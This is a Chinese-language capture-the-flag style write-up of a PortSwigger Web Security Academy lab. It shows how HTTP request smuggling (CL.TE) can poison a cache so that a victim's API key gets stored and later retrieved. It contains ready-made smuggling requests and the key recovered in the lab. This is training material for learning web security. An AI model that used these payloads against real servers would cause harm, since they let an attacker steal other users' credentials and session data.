> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).
# 通过 HTTP 请求走私实施 Web 缓存欺骗
通过 HTTP 请求走私实施 Web 缓存欺骗笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。
### 利用 HTTP 请求走私执行 Web 缓存投毒
这个实验室包含一个前端服务器和一个后端服务器。前端服务器不支持分块编码，并会缓存一些静态资源。
目标是执行一次请求走私攻击，使得受害者发送的下一次请求会导致其 API 密钥被记录到缓存中。然后你需要从缓存中恢复这个 API 密钥并提交，以验证实验。/ 在尝试诱捕受害者之前，有必要等待 **30 秒** 在访问实验室后
你可以使用以下信息连接到自己的账户： **wiener:peter**
#### **说明**
* 即使实验室支持 HTTP/2，解决方案也是基于只能在 HTTP/1 中完成的技术。可以在 Burp Repeater 的 Inspector 中，从 Request attributes 部分更改协议。
* 该实验室模拟了一个受害者用户的活动。攻击者发送的这几个 POST 请求中，受害者会发出自己的请求。有时需要重复攻击，以正确同步序列。
#### **行为分析**
在“我的账户”面板中，你可以看到自己的 API 密钥。
可以观察到 `tracking.js` 文件被缓存为 **30 秒**.
#### **初始测试**
发送以下错误请求：
```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked
0
GET /error HTTP/1.1
测试：A
```
我们得到一个响应 **404**，这证实了可用的行为。
#### **针对 /my-account 的走私**
一个被走私的请求，针对 `/my-account` 随后构造：
```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
测试：A
```
当受害者在我们的注入之后发送自己的请求时，包含\*\*其 API 密钥\*\*的响应会被存储在缓存中，而不是 `tracking.js` 文件。
#### **结果**
当你加载缓存的资源时，管理员的 API 密钥就会显示出来：
```
你的 API 密钥是：WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```
---
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